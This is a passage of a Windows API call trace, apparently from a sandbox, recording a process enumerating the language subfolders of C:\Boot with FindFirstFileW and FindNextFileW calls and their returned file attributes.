	[0205.535] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.535] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.536] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.536] FindClose (in: hFindFile=0x652598 | out: hFindFile=0x652598) returned 1
	[0205.536] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.536] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0205.536] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0205.536] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.536] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6526d8
	[0205.536] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.536] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.537] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.537] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.537] FindClose (in: hFindFile=0x6526d8 | out: hFindFile=0x6526d8) returned 1
	[0205.537] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.537] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0205.537] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.537] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652718
	[0205.537] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.537] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.538] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.538] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.538] FindClose (in: hFindFile=0x652718 | out: hFindFile=0x652718) returned 1
	[0205.538] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.538] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0205.538] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.538] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652458
	[0205.538] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.538] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.539] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.539] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.539] FindClose (in: hFindFile=0x652458 | out: hFindFile=0x652458) returned 1
	[0205.545] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.545] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0205.545] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.545] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652258
	[0205.545] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.545] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.545] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.546] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.546] FindClose (in: hFindFile=0x652258 | out: hFindFile=0x652258) returned 1
	[0205.546] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.546] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0205.546] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.546] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6528d8
	[0205.546] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.546] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.546] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.547] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.547] FindClose (in: hFindFile=0x6528d8 | out: hFindFile=0x6528d8) returned 1
	[0205.547] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.547] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0205.547] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.547] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6529d8
	[0205.547] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.547] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.547] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.548] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.548] FindClose (in: hFindFile=0x6529d8 | out: hFindFile=0x6529d8) returned 1
	[0205.548] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.548] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0205.548] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.548] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652398
